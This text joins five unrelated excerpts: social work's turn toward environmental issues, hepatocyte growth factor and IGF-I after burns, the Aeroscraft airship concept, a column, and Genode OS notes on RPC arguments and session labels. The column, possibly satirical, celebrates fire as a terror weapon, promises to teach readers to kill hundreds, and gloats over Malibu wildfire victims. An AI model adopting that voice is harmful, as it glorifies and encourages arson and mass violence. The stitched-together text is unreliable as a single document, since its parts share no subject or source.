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Increasingly, social work has come to explore, even if it doesn’t embrace, environmental issues as part of the profession’s mandate. Recognition of the importance of the natural world in healing can be found in adventure-based programs such as the Eden Alternative in long-term care, animal-assisted therapies, and Fresh Air Kids. These programs recognize the importance of the natural world. Programs emphasizing the conservation of natural resources are not often found in social work organizations or general social work practice, but hopefully this will change. As mentioned, CSWE made sustainability the focus of their 2010 conference. In Pennsylvania, the NASW announced that the opening ceremony for the 2011 annual conference will be “Marcellus Shale Natural Gas Extraction in Pennsylvania: Effects on Communities, Families, and Natural Resources,” which will discuss the social, economic, and environmental impact of natural gas extraction. Community practice roles for social workers will be discussed, with an emphasis on partnerships that promote community education, planning, and advocacy. In 2006, the March/April issue of Social Work Today reported on graduates of Manchester College in North Manchester, IN, who wore green ribbons signifying that they had taken a graduation pledge: “I pledge to explore and take into account the social and environmental consequences of any job I consider and will try to improve these aspects of any organization for which I work.” This symbolic step denotes a level of awareness not generally asserted by graduates. One example where social work and environmentalism intersect and are recognized is environmental racism. Environmental racism refers to the intentional or unintentional targeting of minority communities or the exclusion of minority groups from public and private boards, commissions, and regulatory bodies. It is the racial discrimination in the enactment or enforcement of any policy, practice, or regulation that negatively affects the environment of low-income and/or racially homogeneous communities at a rate disparate from affluent communities. New Directions
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Hormones Several hormones are produced by or interact with the liver. Hepatocyte growth factor (HGF) has been shown to accelerate hepatic regeneration, improve hepatic function, and modulate the acute phase response in vivo and in vitro (127–129). Within 30 to 60 minutes of injury, plasma HGF is elevated, presumably sending a strong mitogenic signal to the hepatocytes (127–129). The cause of the increase in plasma HGF is currently unknown; however, it has been postulated to be due either to increased production of HGF in extrahepatic organs such as lung, spleen, kidney, or gut, or to a decrease in hepatic HGF excretion (127–129). The rapid increase in HGF stimulates hepatocyte mitogenesis, motogenesis, and DNA synthesis (27). HGF administered to normal rats only stimulates a small number of hepatocytes to enter the DNA synthesis cycle, indicating that hepatocytes in normal livers are not ready to respond to mitogenic signals without the priming events that switch them into a responsive mode (27). Our group has shown that rhHGF administration restores homeostasis of the acute phase response postburn (128) by increasing constitutive hepatic proteins and decreasing acute phase proteins. The exact mechanisms by which HGF stimulates constitutive hepatic proteins are unknown; however, HGF is capable of regulating the synthesis of several transcription factors, one of which is C/EBPs (130). Activation of C/EBPα during the acute phase response leads to stimulation of constitutive hepatic proteins (130) while blockade of the C/EBPα leads to decreased synthesis of acute phase proteins (130). HGF, furthermore, exerted beneficial effects after thermal injury by increasing liver weight, liver weight per 100 g body weight, and higher total hepatic protein content compared with rats receiving saline. HGF, furthermore, demonstrated no increase in liver triglyceride content, a phenomenon associated with thermal injury (15, 16). Another hormone that is synthesized in the liver is IGF-I. IGF-I is a 7.7-kDa single-chain polypeptide of 70 amino acids with sequence homology to proinsulin (131). In the system, 95% to 99% of IGF-I is bound and transported with one of its six binding proteins IGFBP 1–6 (131,132). The IGF-I system is synthesized in the liver and its production is stimulated by GH (131–133). IGF-I has been shown to improve cell recovery, muscle protein synthesis, gut and immune function, and exert promitogenic functions not only after burn, but also in various other pathological states (7,134–137).
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Even though the Aeroscraft dwarfs the largest commercial airliners, it requires less net space on the ground than any plane because it doe sn't need a runway The airship takes off and lands like ahelicopter straight up and down This is not a Blimp It's a sort of flying Queen Mary 2 that could change the way you think about air travel. It's the Aeroscraft, and when it's completed, it will ferry pampered p assengers across continents and oceans as they stroll leisurely about the one-acre cabin or relax in their staterooms. Unlike its dirigible ancestors, the Aeroscraft is not lighter than air. It's 14 million cubic feet of helium hoist only two-thirds of the craft's weight. The rigid and surprisingly aerodynamic body, driven by huge rear-ward propellers, generates enough additional lift to keep the behemoth and its 400-ton payload aloft while cruising During takeoff and landing, six turbo-fan jet engines push the ship up or ease its descent. This two-football-fields-long airship is the brainchild of Igor Pasternak, whose privately-funded California firm, Worldwide Aeros Corporation, is in the early stages of developing a prototype and expects to have one completed by 2010. Pasternak says several cruise ship companies have expressed interest in the project,and for go od reason - the craft would have a range of several thousand miles, and, with an estimated top speed of 174 mph, could traverse the continental United States in about 18 hours. During the flight, passengers would view national landmarks just 8,000 feet below,or, if they weren't captivated by the view, the cavernous interior would easily accommodate such amenities as luxury staterooms, restaurants - - even a casino. To minimize noise, the aft-mounted propellers will be electric, powered by a renewable source such as hydrogen fuel cells. A sophisticated buoyancy - management system will serve the same purpose as trim on an airplane, allowing for precise adjustments in flight d ynamics to compensate for outside conditions and passenger movement. The automated system will draw outside air into compartments throughout the ship and compress it to manage onboard weight.
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Browse column FRESNO, CA — By the time you finish this column you will be able to destroy huge buildings, kill hundreds of people in a few minutes, and strike terror into your enemies. And all you need is stuff that I guarantee you already have around the house. Sound too good to be true? Well, hold on to your hard-ons, because there's more! This weapon is so impossible to trace that well-trained terrorists all over the world use it to clean up evidence after an operation. When you realize its potential, you'll wonder why more irregular armies aren't using it already. If you're me, you'll wonder why you haven't done it yourself. You've probably figured out what I'm talking about by now. It's our oldest weapon: fire. Beavis' dream come true I got the idea watching Malibu burn. Oh, man, that was the best day off I've had in years. Regular porn doesn't do much for me, but those clips of "heartbroken house owners" sobbing—man, I was just about creaming in my expand-o-waist black slacks. And talk about guilt-free porn! There's no downside to watching movie producers' mansions turn into toxic smoke. Don't tell me I'm the only Inland Californian who laughed his head off at those follow-up pictures of the Prez hugging teary-eyed billionaires. They all looked like my bank manager. I can't think of anybody whose houses I'd like to see burned up more, and I wouldn't mind if their precious purse dogs happened to get forgotten in the big BMW bug-out once the flames made it past those "This Property Protected by....oooh owww hot!" signs. Those properties were protected by zip, nada, a whole lotta nuthin'. You can't scare a fire, you can't shoot it. The Mongols and Wehrmacht combined would have to run from a good ol' SoCal brushfire. That's a weapon, baby. And there's Bush streaking cross-continent on Air Force One to hug the "victims," with his aides hissing into the ear unit: "Psst! Do 'compassion'! Squirt some tears, dammit!" Some websites are already saying what went through my head the second I saw those flames: somebody got smart and stopped playing with bombs and went back to basics, back to what works. Mighta been al Quaeda, but might just as well have been some nut who got fired for not showering because God told him not to. Lotta what they call "agendas" out there. Lotta Bic lighters too.
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In particular, there exist a few restrictions with regard to the types of RPC function arguments. Those types did not just need to be POD (plain old data) types but they had to be default-constructible, too. Whereas the former restriction still applies (non-POD objects that include references or vtables cannot be used as arguments), the latter limitation has been lifted now. Generally, non-default-constructible types are a way to attain simpler code because the special case of an "invalid" object does not need to be considered. I.e., values of such types can be kept as constants as opposed to variables. If an object exists (as equivalent to successful instantiation), it is valid. With the improved RPC mechanism, the RPC framework does no longer stay in the way in this respect. Thanks to Edgard Schmidt for this welcome contribution! Unification and tightening of session labels In Genode, each session requested by a client component is labeled according to the components that intermediate the session request. The client can optionally specify a label of choice along with the session request. Its parent prefixes the client-provided label by a label of its own. If the session request is further passed to the parent's parent, the grandparent prepends its own label. This works recursively. Consequently, the final label as seen by the server is the product of the labeling policies of all components on the route of the session request. The label is used for two purposes. First, the server uses the label as a key for a server-side policy selection. E.g., depending on the session label received by the disk-partition server, the server decides which partition to hand out to the client. Second, the label is used by intermediate components to take session-routing decisions. E.g., based on the label of a file-system session request, a parent component may route the request to one of several file-system servers. Originally, Genode did not impose a specific way of how labels are formed. It was up to each intermediate component to filter the label of a session request in any way desired. However, in practice, this freedom remained unused and the very simple successive prefixing of labels prevails in all our use cases. Each intermediate node concatenates its own label in front of the label supplied by the originator of the session request. The different parts of the label are separated with the character sequence " -> " .
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